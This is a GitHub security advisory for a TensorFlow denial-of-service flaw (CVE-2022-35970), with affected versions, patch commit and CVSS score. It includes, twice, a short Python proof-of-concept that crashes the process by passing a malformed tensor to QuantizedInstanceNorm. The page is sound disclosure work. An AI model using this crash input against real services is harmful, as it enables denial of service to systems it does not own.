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TensorFlowGHSA-g35r-369w-3fqp

TensorFlow vulnerable to segfault in `QuantizedInstanceNorm`

TensorFlow

CVE-2022-35970 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

If QuantizedInstanceNorm is given x_min or x_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

output_range_given = False

given_y_min = 0

given_y_max = 0

variance_epsilon = 1e-05

min_separation = 0.001

x = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8)

x_min = tf.constant([], shape=[0], dtype=tf.float32)

x_max = tf.constant(0, shape=[], dtype=tf.float32)

tf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation)

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Patches

We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou,...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references

### Impact If `QuantizedInstanceNorm` is given `x_min` or `x_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf output_range_given = False given_y_min = 0 given_y_max = 0 variance_epsilon = 1e-05 min_separation = 0.001 x = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8) x_min = tf.constant([], shape=[0], dtype=tf.float32) x_max = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-20
Also known as
BIT-tensorflow-2022-35970, CVE-2022-35970, PYSEC-2026-3183, PYSEC-2026-3326, PYSEC-2026-995

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